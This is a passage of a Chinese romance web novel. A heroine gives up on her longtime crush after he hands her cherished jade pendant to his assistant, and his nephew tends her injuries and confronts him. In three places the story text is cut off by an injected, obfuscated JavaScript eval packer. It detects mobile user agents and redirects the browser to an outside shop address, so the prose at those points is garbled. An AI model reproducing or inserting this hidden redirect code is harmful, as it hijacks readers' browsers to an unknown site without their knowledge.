顾蓁音其中的一个粉丝沐沐恨不得将手机戳出一个洞来:“该死的领导,说我的方案颗粒度不行,让我在今晚零点前给他一版新方案,我现在要回酒店加班改方案。” 打工人的怨气此时已经达到了顶峰,大家好像也被感染了工伤,再也没了心情继续玩乐。 “我已经感同身受了,出来玩还要临时加班,晦气啊啊啊!” 顾蓁音结了账,善解人意道:“那我们下次有机会再聚,辛苦大家过来支持我。” 女孩子们七嘴八舌:“不辛苦不辛苦,能看到我们音音宝贝,我们很开心……” 果然女孩子是世界上最可爱的生物。 顾蓁音笑了,站在门口和每个人挥手告别,目送她们离开。 送走粉丝,顾蓁音身边只剩下宋悠可和苏纯两个助理,她看向两人:“我们也去逛逛纪念品吧,买些回去送朋友。” 两个助理也正有此意,三人沿着古镇两岸逛着,正好路过一家小酒馆时,顾蓁音被一道女声叫住。 “音音!” 顾蓁音转身,却看到一个长卷发女人哒哒哒地走过来,表情惊喜:“真的是你啊。” 顾蓁音这才看清来人:“Lena姐,好久不见,在这里见到你好巧。” Lena并不是顾蓁音的好友,而是景逸琛的同事,因为景逸琛的关系,她才和Lena认识,因为性格相投,顾蓁音在江城定居时,还偶尔和Lena出门逛街约饭。 Lena解释:“我们公司在这边团建呢,我一个人出来小酌一杯,刚好这个酒馆不错,我们一起去喝一杯聊聊天?” “好啊。”顾蓁音欣然应允,她刚好也逛累了,和人聊聊天也好。 Lena挽着顾蓁音的手,对两个助理说:“你们老板先借我用一下了。” 宋悠可和苏纯打算继续逛,也再三叮嘱顾蓁音:“老板,那你一个人注意安全,有事给我们打电话。” 因为两个助理的年纪比顾蓁音还大些,所以自然而然把顾蓁音当成妹妹看待,顾蓁音笑着说:“放心,我又不是小孩子了。” 在顾蓁音身边做助理就很好,工资待遇很合理,五险一金都有,只要做好分内事,剩余的时间都可以自由支配,顾蓁音脾气很好,并不是一个难相处要求多的人,所以给顾蓁音做助理简直是神仙工作。 顾蓁音跟着Lena进了酒馆,说是酒馆,但更像是有格调的咖啡馆,四处装潢都透着文艺感,连带着菜单名字也很文艺。 Lena点了杯鸡尾酒,顾蓁音随手点了杯粉色的无酒精饮料,在等待饮品上来的间隙,Lena双手交叠,和她聊起天:“我有段时间没有见过你了,最近是很忙吗?” 顾蓁音对这个姐姐很有好感,她笑着说:“没有,我只是搬回北城住了。” Lena被意料之外的答案震惊到:“啊,怎么突然?” Lena作为景逸琛的同事,她和顾蓁音打过好几次交道,对于顾蓁音和景逸琛的事情,大家都心知肚明,景逸琛有个世交小侄女,喜欢跟在他身后,明眼人都能看出顾蓁音对他的倾慕。 她迟疑道:“那你和景逸琛……” 面对Lena的欲言又止,顾蓁音却大大方方地承认:“就那样吧,我不打算继续了。” “真的?”Lena却像是立刻打开了话匣子,“最近景逸琛和他助理夏霜走得还挺近的……” 顾蓁音低头喝了口面前的无酒精饮料,清苦酸涩的味道在口腔弥漫而开,顾蓁音才发现,这杯粉粉嫩嫩的饮料是西柚汁气泡水。 她扫了眼菜单,发现这杯饮料的名字叫“暗恋”。 外边看起来粉嫩甜美,像冒着粉红泡泡,但内里却是酸涩,和“暗恋”这个名字无端契合。 顾蓁音咽下苦涩的味道:“嗯,随他吧。” "Lena." 男人低沉的声音寒如冰雪,有些熟悉,顾蓁音循声望去,只见景逸琛正站在酒馆楼上,不知站了多久,他的目光却沉沉地落在顾蓁音脸上。 Lena震惊:“你们怎么在这里?” 景逸琛声音淡淡:“他们说要找个地方喝酒玩牌,就来这儿了。” 顾蓁音不清楚景逸琛是否听到她刚刚说的话,但看他的神色,就知道他此时心情不好。 顾蓁音起身,打算和Lena告别:“Lena姐,既然你的同事在这儿,那我先走了。” Lena还来不及挽留,一道倩影也出现在景逸琛身边,夏霜像是刚刚才发现顾蓁音,声音柔柔的:“好巧,顾小姐也在呀,要不要一起来玩牌,正好我们这儿缺人。” 顾蓁音拒绝:“不了。” 顾蓁音没兴趣再参与和景逸琛相关的事情。 夏霜迟疑看向景逸琛,景逸琛却冷漠地转身离开:“不用管她。” 景逸琛的身影消失在视野里,顾蓁音听到楼上传来叫景逸琛玩牌的声音:“逸琛,上了牌桌,你得拿一样东西做彩头,输了牌就要把彩头送出去。” 景逸琛没有说话,但片刻,楼上却传来小声的惊呼:“逸琛,你确定要拿这个无事牌来做个彩头?” 景逸琛对面的男人语气夸张:“这看起来水头很好,高冰种满绿啊,这么好的无事牌,你舍得拿来当彩头?” 景逸琛的声音冷淡:“不值钱的玩意儿。” 男人是个识货的,这一块无事牌至少要小六价,怎么可能是不值钱的玩意儿? 但既然本人愿意,男人也笑嘻嘻地没有阻止:“景总大气。” 只是牌局还未开始,就被闯入楼上的顾蓁音径直打断。 她快步走近,看到放在牌桌上熟悉的无事牌,她的目光直直落在景逸琛身上,声音是抑制不住的颤抖。 “景逸琛,你拿我送你的无事牌当彩头?” - 这一块无事牌,是顾蓁音18岁时,送给景逸琛的生日礼物。 那一年顾蓁音刚在伦敦念大一,当时她学校举办圣诞舞会,顾蓁音软磨硬泡让景逸琛来看她,景逸琛还是来了,但在来伦敦的飞机上,他差点遇到飞机失事。 顾蓁音当时知道这件事时,很内疚也很后怕。 因此在景逸琛生日当天,她送出她一直放在身边的无事牌。 顾蓁音的无事牌,是她从小戴在身上的玉坠,因为顾蓁音五岁时生过一场重病,家里人特地给她戴了这一枚无事牌,寓意保佑她平安无事,这一枚无事牌,从她五岁起,就一直放在她身边,形影不离。 所以她送出这块无事牌时,格外珍之重之。 “这块无事牌是我从小带着身边的,你能不能别送给别人?”顾蓁音当时眼睛亮晶晶的,充满期待地看着他,“这是我专门送给你的,就算你不喜欢,你也不要送给别人,好不好?” 景逸琛明明知道,那块无事牌对她来说很特殊,但现在的他,却拿来当玩乐的赌注。 正如景驰所说,当她对景逸琛放下偏爱的滤镜,他也不过如此。 甚至,恶劣得不堪入目。 牌桌上的男人却看热闹不嫌事大:“顾小姐,既然这是你送给景总的东西,那景总应该有这块无事牌的处置权吧,如果实在想要,顾小姐也可以上场玩一局,赢了,无事牌归你。” 顾蓁音却恍若未闻,直直看着景逸琛:“你开个价,我把无事牌买回来。” 景逸琛却没理会顾蓁音,拿过那枚无事牌:“不做彩头了。” 他径直将无事牌递给夏霜:“送你了。” 夏霜受宠若惊,她看了眼顾蓁音, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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顾蓁音话音落下,景逸琛的心底止不住地慌乱,他感觉,好像有什么东西在悄然离他而去。 “音——” 夏霜柔弱的嗓音兀自打断他的声音,她楚楚可怜,声线带上哭腔。 “景总,我好像扭伤脚了……” 景逸琛像是刚刚回过神来,发现了受伤的夏霜,他最终弯下身,将人扶起。 当他再抬眼,顾蓁音的身影已经消失在视野里。 - 古镇的夜晚依旧喧嚣,和路边闲适的游客相比,顾蓁音却走得很急,她不想再在那里多待一秒,她担心自己多待一秒,就忍不住吐出来,她脚步很乱,但青石板路凹凸不平,顾蓁音的细跟被绊住,她重心不稳,整个人摔了下去。 摔下去的瞬间,顾蓁音怀疑这是不是自己刚刚推了夏霜的报应。 她的手机吧嗒摔在青石砖上,屏幕瞬间粉碎成四分五裂的蜘蛛网状,顾蓁音颤抖着手,试图去解锁,但无论如何,手机屏幕还是黑的,没有任何反应。 她只感觉膝盖和掌心传来火辣辣的疼感,顾蓁音后知后觉,发现掌心和膝盖都受了伤,白皙的皮肤正汩汩冒着血珠,看起来触目惊心。 “哎呀妹妹,你流血了!” 一旁是一个糖水摊,摊主是一对小夫妻,年轻老板娘见顾蓁音摔倒,立刻上前扶她起身:“妹妹,你没事吧。” “没事,谢谢……” 顾蓁音慢半拍和人道谢,她的脑子钝钝的,但还记得摔坏的手机。 她拿手机出来查看,原本毫无动静的黑屏手机里,却意外传来景驰懒洋洋的带笑声音:“公主,打电话给我有事?” 顾蓁音反应过来,她的手机只是屏幕显示不了,但还能操作,她刚刚应该是误触了联系人,阴差阳错打给了景驰。 听到景驰的声音,顾蓁音堆积的情绪像是终于找到缺口,她的哭腔再也忍不住:“景驰……我摔伤了……” “别哭,音音,你现在在哪里?” 好心的老板娘接过电话,给电话那边的景驰报了地址,景驰道了谢。 手机重新回到顾蓁音手里,景驰叫了她一声,语气是前所未有的严肃。 “顾蓁音,在那儿待着别动,等我十分钟,我马上过去。” 14. 受伤 景驰来得很快,远远见到顾蓁音坐在糖水摊的小凳子上,往日精致爱美的她,此时却有些狼狈,眼圈微红,白皙干净的膝盖擦出一片血污。 景驰半蹲在顾蓁音面前,眉眼间似是染上一层淡淡的阴翳,他嗓音很低:“这是怎么了?” 摊主好心解答:“帅哥,刚刚这个小姑娘不小心摔了一跤,还把手机摔坏了。” 景驰了解了大概情况,对着摊位的付款码,给摊主扫了一笔钱,很礼貌:“刚刚多谢两位照顾她。” 摊主推辞了几句,不过是举手之劳,景驰的答谢却比他们一天的进账还多。 景驰重新走到顾蓁音面前,垂下眼观察她的伤口,确定没有伤得很重后,又问她:“手机坏了?给我看看。” 顾蓁音很听话地把手机递过去:“好像摔坏了,但我却能接到你的电话……” 他拿过顾蓁音的手机,左右翻看,最后拿出他的手机,对着她摔坏的手机拍了张照,他修长的手指抵在手机屏幕上,轻巧地敲击几下,似乎在给谁发消息,片刻,他重新将手机还给顾蓁音。 “先回去处理伤口。” 他转过身,示意顾蓁音趴上他的背。 “上来,我背你回去。” 顾蓁音盯着他宽阔挺拔的后背,犹豫一瞬,最后还是顺从地趴了上去。 他轻而易举地将顾蓁音背起来,景驰很高,趴在他的背上,只觉得视野所见都变得渺小起来。 顾蓁音轻轻地环住他的脖颈,她没有被父亲以外的异性背过,有点害怕,所以下意识往景驰的后背贴去,靠得近了,顾蓁音嗅到属于景驰身上的味道,他西装外套上除了他惯有新鲜清苦的柑橘调,还杂糅染上很淡的烟味,顾蓁音突然想起,他刚刚应该是在工作应酬,估计是接到她打过去的电话,才从饭局上下来找她。 顾蓁音心底泛起说不清道不明的奇怪情绪,她突然叫了声。 “景驰,我是不是……打扰到你应酬了?” 景驰却依旧是漫不经心的语调:“别想太多,我刚刚结束应酬。” “反倒是你,怎么把自己搞成这样?” 顾蓁音没想到话题回到自己身上,她偏过脸,闷声道:“只是摔了一跤……” 对于顾蓁音的话,景驰是半个字都不信,摔了一跤,按照她的性子,不至于这么崩溃,其中肯定有他不知道的原因。 但他也能大概猜到,这件事估计又和景逸琛有关。 去就近的药店买了些药,景驰一路将她背回她下榻的酒店。 景驰刷卡进了她的房间,将人放在沙发上,他洗了手,才蹲在顾蓁音面前,查看她的伤势。 好在伤得不算太深,只有掌心和膝盖有轻微的擦伤,正常冲洗伤口消毒上药就行。 景驰从袋子里找出生理盐水,他拉过顾蓁音的手,轻轻托着她,用生理盐水反复冲洗掌心的脏污血渍,液体冲刷伤处,顾蓁音疼得止不住往后缩,但却被景驰一把握住手指。 他低声道:“忍一忍,很快就好了。” 似乎为了安抚她的情绪,他的声音是意料之外的柔和。 顾蓁音怔愣一瞬,她没再挣扎,而是很配合地给他上药。 景驰笑了声:“很乖。” 生理盐水一点点冲洗掉伤处的灰尘,因为疼痛,她隐忍着哭腔,眼尾绯红未褪,眼眸水雾粼粼。 伤口冲洗干净,景驰拆了碘伏,用棉签涂上伤口。 顾蓁音坐在沙发上,垂着眼看着认真上药的景驰,从这个角度,她能看到他的眼睫拢下,在眼下皮肤投下淡淡阴影。 膝盖上的伤处被碘伏覆盖,形成了一块边缘不规则的黄褐色痕迹,碘伏颜色很浅,但顾蓁音的皮肤白,那层淡淡的黄色很显眼。 顾蓁音心底空落落的,她捂着抱枕,闷声道:“伤成这样,好丑。” 景驰抬眼看她,语调微微上扬:“嫌丑?” 顾蓁音有些忐忑,她担心景驰误会,认为她嫌弃他上药涂得丑,顾蓁音正要说话,却感觉膝盖被人抬起。 他的掌心轻轻扶住膝盖内弯,温热的指腹捏着她的腿肚,景驰重新低下头,她能感知到微凉的棉签在皮肤上缓缓游走,蜿蜒留下一片湿意。 但意外的是,这次没有伤口接触药物的痛感,顾蓁音吸了吸鼻子,瓮声瓮气问:“你在干什么?” 景驰松开手,示意她看:“你看看。” 原本斑驳的伤处,被他用碘伏在伤处边缘补充填色,绘成一朵简易圆润的小黄花,衬得有几分可爱。 景驰抬头:“你不是嫌弃伤口丑吗?奖励你一朵小花。” 他一本正经:“就当做是公主坚强的奖励。” 酒店的灯光不是很亮,是暗暗的柔光,灯光下的景驰墨色额发往后捋,将前额眉眼完全露出,锋利精致的五官轮廓尽显,却意外有种毛茸茸的柔软质感。 像刚刚洗完澡,晒着太阳的小狗。 柔软的,香香的。 景驰的声音拉回她的思绪:“还丑吗?” 顾蓁音呆呆地,慢半拍才收回目光,她欲盖弥彰地抬了抬腿:“……还行。” 此时有人敲了敲门:“小驰总,您要的手机和拓展坞买到了,我给您送来了。” 景驰起身去开门,片刻拿着一个崭新的纸袋进来。 顾蓁音有些惊讶:“你……给我买了新手机?” “嗯,我按照你的手机型号,让人重新买了新手机,我一会帮你把旧手机的数据传输过去。”景驰收拾用过的棉签,“你的笔电在身边吗?借我用一下。” “在。”顾蓁音指了指在床头充电的笔记本电脑。 景驰:“行,手机给我。” 他将笔记本电脑放在酒店的桌面上,插上拓展坞,连接顾蓁音摔坏的手机。 顾蓁音坐在一旁,不太懂他的操作:“不用去手机店维修吗?” “不用,维修要花不少时间,不如直接用新手机。”景驰一边操作,一边解释,“你手机屏幕只是显示不了,接触没有失灵,只能用拓展坞投屏到电脑上操作,把你旧手机的数据文件导入新手机上。” 电脑屏幕的荧荧亮光映照在他的脸庞上,景驰专注认真的时候,只让人觉得有种莫名让人安定的感觉。 说话间,电脑屏幕上出现她的手机界面,他帮她把需要的数据传进新手机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16248308|181607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,鼠标移动,景驰点开了相册。 “相册的照片要传过去吗?” 顾蓁音的相册分门别类得很清楚,标注着工作,娱乐这些标签,但有一个相册却是例外,命名是一句英文。 ——Butterfliesinmystomach 心动的感觉,就像胃里有蝴蝶在飞舞。 鼠标滴答轻响,景驰点开了这个相册,里面积攒了几乎上千张照片,零零散散的照片,但更多的,是景逸琛的身影,有背影,有侧脸,整整记录了七年,从她的16岁到即将到来的24岁,她的眼睛,她的镜头,都被景逸琛占据着。 顾蓁音轻声道:“不用导入这部分照片了。” 那种小鹿乱撞的悸动,胃里乱飞的蝴蝶,也在这个夜晚,彻底凋亡。 景驰握着鼠标的手顿住。 “好。” 数据很快传输完毕,景驰把一模一样的全新手机递到顾蓁音面前:“好了。” “有事再找我。”景驰嘱咐道,“还有伤口别碰水,如果洗澡不方便,让你助理来帮忙。” 顾蓁音捏了捏新手机,她轻声道谢:“谢谢。” 他一个人忙前忙后地替她处理全部事情,这声谢谢,顾蓁音说得真心实意。 她却突然叫了声:“景驰。” 景驰看向她:“嗯?” 顾蓁音垂着脑袋,自顾自道:“其实我刚刚想了很多,我为什么会这么倒霉,喜欢上不应该喜欢的人,我这辈子干过最坏的事,是我姐骂了我,我偷偷在她的作业本上画小乌龟,我觉得,我也罪不至此……” 她的额头被人很轻地弹了下,他的嗓音懒懒散散的:“都要成瘸子了,就消停会儿吧公主。” 顾蓁音抬眼,景驰骤然朝她凑近,男人的脸陡然放大,优越立体的眉骨被灯光打上淡淡的阴影,俊美无俦。 “别想太多,说不定你的好运气在后面,早点休息。” - 景驰离开顾蓁音的房间后,给季淳打去一个电话。 刚刚在传输数据时,他看到了顾蓁音的聊天记录里,有个备注“Lena姐”的好友发的消息。 Lena姐:【被夏霜那枚摔坏的无事牌还能修好吗?我真的没想到景逸琛居然能这么混蛋,把你送他的东西转手当彩头送人,还纵容夏霜摔坏你的东西。】 Lena姐:【音音,你还好吗?对不起,我不知道景逸琛他们也在那家酒馆,不然也不会发生这些事情了……】 Lena姐:【你放弃是对的,他配不上你,亲爱的,你值得更好的。】 光线幽暗的走廊里,景驰眉眼清冷,只听见季淳的声音从电话里传来:“查到了,整个嘉桐镇除了我们和d站承包了活动场地,还有一家公司包了场地公司团建,正好就是你小叔所在的公司,我查到了他们下榻的酒店民宿,已经把位置发给你了。” 景驰:“行,谢了,我现在过去。” 季淳疑惑道:“你和你小叔不是关系不怎么样吗?你突然找你小叔干嘛?” 景驰径直朝外走,语调轻描淡写。 “没什么,去找他算个账而已。” 15. 结束 酒馆二楼,烟雾朦朦胧胧地腾起,却无法消散,萦绕盘旋在吊灯下,蒙蒙一片,将暗色光亮遮挡得更模糊。 景逸琛脸色不好看,有人出声提醒:“逸琛,到你出牌了。” 景逸琛将手中的牌打出几张,身旁的人发觉了他的不对劲,自然知道他心烦什么:“逸琛,人都走了,不去哄哄?” 有人调笑:“有什么好哄的?那顾家小姑娘喜欢逸琛喜欢得跟什么似的,过一会自己就回来了,放心。” 每个字清晰地落入景逸琛耳中,却没有抚慰景逸琛的情绪,他只觉得实在乏味,将剩余的往桌前一推:“不玩了,你们继续。” 景逸琛站起身,走向露台,他心情不太好,点燃一根烟,浓烈的尼古丁灌入肺里,却没办法消减胸口的烦躁,他胸腔淤积的烦闷好像挥散不去。 此时的他,完全没有办法集中精神去做其他事,他的脑海里,都是刚刚顾蓁音说的话。 ——“你可以不喜欢我,但你能不能,不要一而再,再而三地践踏我的喜欢,践踏我的真心?” ——“到此为止吧,我放过你,也放过我自己。” “景总。” 柔柔的声线打断他的思绪,景逸琛回头,看到了夏霜。 景逸琛掐灭了烟,关心问:“好些了吗?” 夏霜露出一个浅浅的笑:“还好没有扭到脚,休息一会儿,好多了。” 说完,夏霜觑着他的脸色,出声道:“顾小姐应该也只是无心之失,她才一时情急,不小心推了我。” 景逸琛像是心不在焉,随口应了声:“嗯。” 见景逸琛没有反驳她的话,夏霜的神情有些黯然。 她知道,景逸琛愿意资助她,包容她的犯错,对她好,不是因为喜欢她,只是因为景逸琛在她身上,看到以前不断寄人篱下的自己。 她出身在偏远的农村,父母双亡,从小被亲戚当踢皮球一样送来送去,直到她被景逸琛资助,她才有了稍微安定的生活,得以考上大学,她的人生,像是投射景逸琛过往的影子,他才愿意对她好,就像是不断弥补补偿过去的自己。 至于这段时间的亲近,夏霜从一开始就知道,景逸琛只是利用她,去刺激顾蓁音,让顾蓁音主动低头而已。 无论是之前的玩偶照片,还是今天的那枚无事牌。 但景逸琛将她拉出生活的泥潭,是救世主般的存在,她还是对景逸琛产生了不该有的少女绮梦。 夏霜抬眼,怯生生问:“景总,顾小姐好像不高兴,你要不要去看看顾小姐……” 景逸琛顿住,良久却沉沉道:“不用了。” 以往顾蓁音也会因为一些无关紧要的事,和他闹脾气,次数不胜枚数,但无一例外,顾蓁音总是先主动和好的那一个,他以为这次也一样,只不过是一个生日,但顾蓁音却像是铁了心和他犟到底,今天听到顾蓁音要放弃他时,他还是有些气得失去理智,所以才会把她的无事牌转手送人。 只是他看到顾蓁音泛红的眼眸,他心底却不断翻涌出懊悔。 他这次做得确实有些过分,是真的伤了顾蓁音的心。 但顾蓁音喜欢了他整整七年,他不相信顾蓁音真的舍得放弃他。 他将手中的烟扔进垃圾桶,朝室内走去,他吩咐夏霜:“明天帮我联系人,挑一块好点的翡翠料子,给她重新做一个无事牌。” 景逸琛像是想到什么,补充道:“还有,快到她生日了,她喜欢钻石,你留意一下最近的拍卖会,如果有合适的,帮我拍下来。” 夏霜垂眸跟在他身后,掩下眼底的落寞:“好的,景总。” 但回到室内,不知何时却多了一个人。 来人身形颀长高大,身上似乎沾染了夜晚凛冽的寒气。 有人认出是景驰,态度顿时殷切起来:“景少,好巧,您要不要一起玩几局?” 刚刚进来的景逸琛显然也看到景驰,他的眉深深皱起,却没有说话。 “玩就不必了。” 景驰站定,视线遥遥投向景逸琛,他语气很温和,甚至还笑了下:“我听说我小叔在这儿,我找他有些私事要聊,麻烦各位先回避一下。” 景家在北城上流圈层也占有一席之地,不容小觑,更何况景驰在游戏行业风头无两,身价不可估量,周遭的众人只以为叔侄两人要聊私事,不方便旁人在侧,只是点小事,都乐得卖景驰一个面子,没有人会选择在这些小事上得罪这位点石成金的太子爷。 闻言,旁人纷纷找了借口告辞,皆散了个干净。 夏霜犹豫地看向景逸琛,景逸琛只是低声道:“你先回去吧。” 夏霜犹豫片刻,最终还是离开,一时间,整间酒馆陷入安静,仿佛只剩下景驰和景逸琛。 景逸琛才察觉出不对,看向景驰:“你清了场?” 景驰半靠在酒柜上:“既然是我和小叔的私事,还是没有外人在比较好。” 他抬手,轻轻揉了揉手腕,慢条斯理道:“毕竟万一被人知道我接下来要做的事,会有损我的社会形象。” 猝不及防间,景驰抬手挥拳,强劲的拳风划出一道凌厉风声,直冲景逸琛的脸庞而去,一拳将景逸琛的脸打偏到一边。 他收回手,很淡地笑了声:“小叔,你是不是觉得我不敢动手?” “我叫你一声小叔,是看在爷爷的面上,说实在,我真的挺看不起你的。” “你应该知道顾蓁音为了你,做了多少事,怎么?明明知道她有多在意你,你还要一次次伤害她,欺负顾蓁音很好玩?是吗?” “景总!” 还未离开的夏霜急切地上前扶住景逸琛,她望着景驰:“景少,他是你的长辈!” 景驰掀起眼看向她,语气很冷:“你算什么东西?” “我连景逸琛都不放在眼里,你算是个什么东西?” 夏霜脸色一白。 景逸琛捂着脸,嘴角已经被景驰打出淤青,他脸色阴沉,却止住夏霜:“算了。” “我这次,自认理亏,但景驰,没有下次了。” - 季淳等在酒馆外,看到从里面走出的景驰,迎了上去。 “结束了?” 刚刚揍人的时候,他的指节因为用力过猛,被磕破了皮,渗出些许血迹,但景驰只是低着头,毫不在意地用纸巾擦拭干涸的血迹,将纸巾扔进垃圾桶。 “嗯。” “你真的把你小叔揍了?”季淳喋喋不休,“这里不是北城,你悠着点儿,” “放心,他不敢。” “我心里有数。”他很轻地笑了声,“就算我把他揍得鼻青脸肿,他也只敢说是自己摔的。” “但凡今晚的事闹到老爷子那儿去,先倒霉的人不会是我。” 景驰做事向来很周密,季淳放下心来,他转而迟疑道:“我还有另一件事要说。” “你的白月光青梅妹妹,在你的房间里等着你。” - 这次活动,主办方把参加活动的博主和其他工作人员安排在同一家酒店里,只不过顾蓁音他们入住的是基础客房,景驰作为主办方之一,入住的是更高级的行政套房。 景驰刷卡进房间时,房间飘散着一股不属于他的木质玫瑰调,顾蓁音娇小的身影映入眼帘,景驰想到季淳的抱怨:“我在电话里劝了好久,但人家非得等你,我总不能让人妹妹一直待在外边吧,只能让周于承刷卡,让人进你房间里等了。” 景驰将受伤的那只手藏在兜里,朝她走过去:“你怎么还没睡?” 顾蓁音显然已经洗过澡,她换了一套新的长裙,盖住受伤的膝盖,她抬眼看向他,下意识问:“你去哪儿了?” 这句话脱口而出,顾蓁音说得太急,有些没把握好语气,导致整句话像是在质问。 空气静默一瞬,当顾蓁音意识到自己的语气不太对时,景驰饶有兴致地看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16248309|181607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她,嗓音不疾不徐:“怎么,查我岗啊?” 景驰抄着兜,姿态散漫地站在她面前,目光在她眉眼间逡巡:“只有我老婆才能查我的岗,你要给我当老婆?” ??? 她只是很正常地问一句他去哪儿而已,怎么就要给他当老婆了?? 顾蓁音轻咳一声,转移话题:“……我只是来还东西的。” 景驰的视线移到她手边,才发现刚刚走得太急,忘了拿帮她传输数据的拓展坞。 景驰:“让人转交也是一样的,没必要等我回来。” 顾蓁音也不知道自己为什么要特地跑一趟,等景驰回来,她无意识玩起绑数据线的铁丝扎带,声音闷闷的:“我也没什么事做,等了一会而已。” 景驰听着她说话,视线停在她的动作上,白色扎带在她的无名指根上,绕了两圈半。 顾蓁音似无所觉,重新将绕在无名指的铁丝扎带解开,把数据线捆绑起来。 “好了。”顾蓁音站起身,“东西带到了,那我先走了。” 她走到门边,景驰突然出声:“回北城后,可以找个师傅重新修复摔坏的无事牌。” 顾蓁音顿住,她转过身,轻声道:“不用了,就这样吧。” 门开了,又重新阖上。 景驰垂眸,拿起她放在桌面上的数据线,解开了那根小小的扎带,绕成一个圆环,他举起圆环,对着灯光端详。 口袋里的手机震动一声,景驰拿出手机。 顾蓁音:【碘伏和棉签放在你门口了,你藏在手上的伤,记得上药。】 - 深夜,顾蓁音躺在酒店的床上,她将那枚残缺一角的无事牌握在手中,缺失的那一角,和圆润的边缘形成鲜明对比,锋利硌手,格格不入的手感像是时刻在提醒她,再继续投入下去,只会被刺得鲜血淋漓。 破碎的边缘挤压着指腹,冰凉尖锐的疼痛,像是能让人清醒,她开始迷茫,她到底为什么对景逸琛如此执着,把自己一遍遍困在一个名为“景逸琛”的死局里,遍体鳞伤。 事到如今,她对景逸琛或许是一种执念,而不是喜欢。 她一次次期待他的回应,但却一次次落空失望,景逸琛的喜欢对她来说,就像是娃娃机里抓不到的娃娃,她不断投币,投入时间精力,投入感情,试图得到它。 但一次次的努力,却换来一次次的落空,她对他的喜欢,已经渐渐变了质,成了一种执念。 他总是会给她制造错觉,好像每次都是只差一点点,她就能得到想要的回应,或许再坚持一下,就能得到她想要的结果,此后她锲而不舍,越陷越深。 她舍不得投入的时间和爱,她不甘心这些年打了水漂,她不愿意承认自己喜欢错了人,她还在期待着悬而未决的结果。 但今晚的她,再次深刻地认知清楚,喜欢景逸琛,只会一次次被他竖起的尖刺刺伤,让自己一次次收到伤害。 再强的血条和耐心,也有被清空的一天,追逐景逸琛的游戏在今天彻底gameover。 放弃喜欢景逸琛的任务,也在今天彻底成功。 顾蓁音从床上坐起来,将无事牌重新包起来,放回包里。 她拿起手机,重新点开了景驰的聊天框,发去一条消息。 顾蓁音:【景驰,我还有件事要和你说。】 景驰:【你说。】 顾蓁音将手机举高,拇指抵在屏幕上,逐个缓慢打字。 【当你老婆这件事,我会考虑一下的。】 顾蓁音点击发送,她才重新看向自己打的那行字,心脏后知后觉狂跳起来,两秒后,她的手机屏幕亮起,是景驰的电话。 顾蓁音盯着“景驰”两个字,莫名紧张地咽了咽唾液,她慢了半拍,才缓缓点了接听。 “顾蓁音。” 景驰的声音像是有些哑,又像是带着笑。 “那你要尽快考虑,我很抢手的。” 16. 彩蛋 d站的线下活动结束当天,顾蓁音就回了北城,顾蓁音本想在家休息几天,整理剪辑活动拍的视频素材,但回北城的第二天下午,她就被安唯拉出门逛街。 顾蓁音本以为安唯只是单纯地逛街,但她没想到,这次是冲她来的。 VIP贵宾室内,顾蓁音有些懵地看着面前的景象,两侧移动衣架挂着SA刚刚替顾蓁音挑选的几套礼裙,层层叠叠的裙摆精致华美。 顾蓁音问安唯:“你给我挑这么多礼裙干什么?” 安唯顺势坐在顾蓁音身边,端起SA送来的热茶:“你今年生日快到了,要选今年生日宴的礼裙了。” 顾蓁音无奈:“你知道,我向来不喜欢大操大办的生日宴会,很累。” 顾蓁音对于大操大办的生日宴会不太感兴趣,这种性质的生日宴会,需要应酬各种各样的宾客,顾蓁音不擅长长袖善舞,她最理想的生日,是和喜欢的人一起度过,只不过景逸琛陪她过生日的次数寥寥无几,所以她的生日一般都是和安唯几个关系最亲近的朋友一起,怎么简单怎么来。 安唯兴高采烈道:“我知道,但往年你的生日过得都很随意,今年你回北城定居,咱们很多朋友好久没见了,可以借这次生日宴见见面,所以必须隆重一回,我和韫珠姐商量过了,今年你的生日宴交给我来操办,你放心,你到时候只负责美美出场就行。” 说完,安唯起身,示意SA带顾蓁音去试礼裙。 顾蓁音拗不过她,试了几套,挑了套喜欢的,安唯又让人在生日当天上门给顾蓁音做造型。 因为有生日宴这个临时变动,顾蓁音提前在粉丝群里发通告,表示今年生日当天另有安排,生日当天不直播。 往年顾蓁音都会在生日当天直播一小时,和大家聊天,今年临时取消,实属突然,好在群里的粉丝们纷纷表示理解。 因为顾蓁音的生日,群里聊起其他事。 【糯米糍今年也会投放生日大屏吗?】 【去年音音生日,糯米糍在沪江大厦投了五个小时的生日大屏,听说一晚上花了几乎上千万,太有实力了。】 【去年投放五个小时只是临时出现意外情况,音音当时航班延误,没办法及时回到江城,糯米糍才专门为音音延长投放时间。】 糯米糍每年会给她投放生日大屏,已经成为顾蓁音每年生日的固定节目。 在顾蓁音自媒体有起色后,综合各种因素考虑,顾蓁音有个规矩,她只收信,不收粉丝的礼物,所以当糯米糍提出送她生日礼物时,顾蓁音毫不犹豫地拒绝了。 此后顾蓁音生日,糯米糍都会在她所在的城市市中心投放生日大屏一小时,从伦敦到江城,每一年都不会缺席。 顾蓁音有委婉劝说过,但糯米糍本人却淡然地表示,完全只是小钱,不用有心理负担。 投放生日大屏这件事,其实不算少见,很多明星粉丝都会自发组织,但这件事落在她一个勉强小有名气的博主上,就有点过于夸张。 